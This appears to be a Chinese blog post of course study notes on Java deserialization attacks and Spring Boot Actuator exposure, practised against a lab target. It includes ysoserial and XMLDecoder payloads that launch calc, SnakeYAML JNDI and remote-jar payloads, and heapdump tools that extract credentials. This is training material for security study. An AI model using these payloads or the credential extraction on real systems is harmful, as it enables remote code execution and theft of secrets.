第68天:WEB攻防-Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE
本文发布于464天前,本文最后更新于463 天前,其中的信息可能已经过时,如有错误请留言或评论。

知识点

  1. Java安全-原生反序列化-3大类接口函数&利用
  2. Java安全-SpringBoot攻防-泄漏安全&CVE安全

演示案例

➢Java安全-反序列化-原生序列化类函数

简介

  • 序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的过程
  • java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码的特征为rO0AB(面试可能会问到,记住即可)
  • JAVA常见的序列化和反序列化的方法有JAVA 原生序列化和JSON 类(fastjson、jackson)序列化等。

发现

  • 黑盒发现(流量捕获,简介中第二条)
  • 白盒发现(特征类接口函数,下面的函数类)

原生序列化类函数:

  • SnakeYaml:完整的YAML1.1规范Processor,支持Java对象的序列化/反序列化
  • XMLDecoder:xml语言格式序列化类函数接口
  • ObjectInputStream.readObject():任何类如果想要序列化必须实现java.io.Serializable接口

利用项目

基于-ObjectInputStream.readObject()的利用工具

实际上前两个本质都用的是第三个

演示靶场

javasec-0.0.1-SNAPSHOT.jar靶场,前面有下载地址,前面几天

readObject

通过工具ysoserial-0.0.8-SNAPSHOT-all.jar生成payload

  • Windows:
    java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "cmd /c calc" | base64 -w0
  • Macos:
    java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "open -a Calculator" | base64
  • 将生成的payload提交即可执行

xmldecoder

这个没大看懂小迪讲了什么,好像就是注入的数据变成xml格式了,其他的好像没什么?有听懂的评论给讲解一下呗

XML:

 <?xml version="1.0" encoding="UTF-8"?>
 <java version="1.8.0_151" class="java.beans.XMLDecoder">    
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">            
            <void index="0">                
                <string>calc</string>            
            </void>        
        </array>        
        <void method="start" />    
    </object>
 </java>

SnakeYAML

介绍
  • SnakeYAML 在反序列化时可以指定 class 类型和构造方法的参数
  • 结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行
测试

payload

!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2222/exp', autoCommit: true}
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2222"]]]]

这里测试使用的是第一个payload(通过jndi实现攻击,受jdk版本影响),可以成功执行,使用ldap协议可以使dnslog有回显

➢Java安全-SpringBoot框架-泄漏&CVE

简介

  • SpringBoot Actuator模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理Spring Boot应用。

测试

javasec-0.0.1-SNAPSHOT.jar靶场的Spring Boot Actuator

  1. SpringBoot项目检测清单参考:https://github.com/LandGrey/SpringBootVulExploit
  2. 泄漏安全(配置密码,AK/SK等)
    • 根据泄露的文件如heapdump获取数据库配置密码等敏感信息
    • github地址:https://github.com/whwlsfb/JDumpSpider
      • 获取项目相关信息,建议使用java1.8,缺点是这个不能我们自定义提取
        java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
    • github地址:https://github.com/wyzxxz/heapdump_tool
      • 可以自己选择要提取的信息
        java -jar heapdump_tool.jar heapdump
    • 根据泄露下载到的heapdump进行提取有价值信息从而进行后期渗透
  3. 漏洞安全(利用类,CVE漏洞等)

发现springboot

  1. 黑盒发现(人工识别,BP插件)
    • 人工识别:
      • 图标——一片绿叶
        icon_hash="116323821"
      • 页面
        body="Whitelabel Error Page"
    • bp插件:
  2. 白盒发现(pom.xml,引用库)
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-actuator</artifactId>
    </dependency>
    #Actuator设置全部暴露
    management.endpoints.web.exposure.include=*
  3. 小迪演示了一个靶场案例(白盒)
    • pom.xml中发现引用了Actuator,并且application.yml配置文件中Actuator设置全部暴露
    • 运行靶场后进行访问,可以看到bp插件识别到了,并获取到了信息
    • 使用SpringBoot-Scan进行扫描分析,未扫描到CVE可利用漏洞
    • 扫描发现敏感文件heapdump进行下载,后续利用前面的项目对heapdump进行分析即可
  4. 若在信息搜集时发现是SprinigBoot,即可进行测试

参考

学习内容均来自小迪安全系列课程:http://xiaodi8.com/

评论

  1. FHK_KMD6377
    6 月前
    2024-10-29 1:06:17

    我也没听懂xmldecoder是啥

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇